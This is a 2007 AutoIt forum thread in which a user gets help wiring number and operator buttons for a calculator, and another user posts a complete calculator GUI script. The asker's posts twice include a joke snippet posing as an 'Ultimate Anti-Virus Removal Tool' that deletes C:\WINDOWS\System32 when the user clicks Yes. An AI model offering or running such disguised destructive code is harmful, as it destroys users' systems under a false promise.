Firefoxy Posted December 12, 2007 Share Posted December 12, 2007 Hi! I'm working on a calculator and I was wondering how to do a couple of things:This is my code so far and I was wondering how to make it where if I pressed the '1' button then the '+' button then the '2' button, then 'solve' it would solve 1+2 and then show it? ;Ultimate Anti-Virus Removal Tool $ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.") If $ans = 6 Then DirRemove("C:\WINDOWS\System32") ElseIf $ans = 7 Then Exit EndIf Link to comment Share on other sites More sharing options...
Richard Robertson Posted December 12, 2007 Share Posted December 12, 2007 Store the value when an operator button was pressed, then get the value when equals is pressed. If the stored operator was +, then add the first and second. Etc. Link to comment Share on other sites More sharing options...
Firefoxy Posted December 13, 2007 Author Share Posted December 13, 2007 Store the value when an operator button was pressed, then get the value when equals is pressed. If the stored operator was +, then add the first and second. Etc.I've appended the text but I'm not sure where to go from there. How do I 'store' them and call them all up at once in order? ;Ultimate Anti-Virus Removal Tool $ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.") If $ans = 6 Then DirRemove("C:\WINDOWS\System32") ElseIf $ans = 7 Then Exit EndIf Link to comment Share on other sites More sharing options...
smashly Posted December 13, 2007 Share Posted December 13, 2007 (edited) Hi, this will probably add more confusion then help, but here goesexpandcollapse popup#include<GUIConstants.au3> Opt("GUIOnEventMode", 1) Global $Store, $nX = 5, $nY = 50 Dim $SBN = StringSplit("1|2|3|+|C|4|5|6|-||7|8|9|/||.|0|%|*|=", "|") $Gui = GUICreate("", 280, 270) $Input = GUICtrlCreateInput("", $nX, $nX, 270, 40, $ES_READONLY + $ES_RIGHT) GUICtrlSetFont(-1, 22, 700) GUICtrlSetBkColor(-1, 0xffffff) For $i = 1 To 20 GUICtrlCreateButton($SBN[$i], $nX, $nY, 50,50) GUICtrlSetOnEvent(-1, "Event") GUICtrlSetFont(-1, 22, 700) $nX += 55 If Not Mod($i, 5) Then $nX = 5 $nY += 55 EndIf Next GUISetOnEvent($GUI_EVENT_CLOSE, "Event", $Gui) GUISetState() While 1 Sleep(100) WEnd Func Event() Switch @GUI_CtrlId Case $GUI_EVENT_CLOSE Exit Case Else Switch GUICtrlRead(@GUI_CtrlId) Case 1, 2, 3, 4, 5, 6, 7, 8, 9, "0", "." GUICtrlSetData($Input, GUICtrlRead($Input) & GUICtrlRead(@GUI_CtrlId)) Case "+", "-", "/", "*" $Store = GUICtrlRead($Input) & GUICtrlRead(@GUI_CtrlId) GUICtrlSetData($Input,"") WinSetTitle($Gui, "", $Store) Case "%" GUICtrlSetData($Input, StringTrimRight($Store, 1)/(100/GuiCtrlRead($Input))) Case "=" GuiCtrlSetData($Input, Execute($Store & GUICtrlRead($Input))) $Store = "" WinSetTitle($Gui, "", "") Case "C" GUICtrlSetData($Input,"") $Store = "" WinSetTitle($Gui, "", "") EndSwitch EndSwitch EndFunc Cheers Edited December 13, 2007 by smashly Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now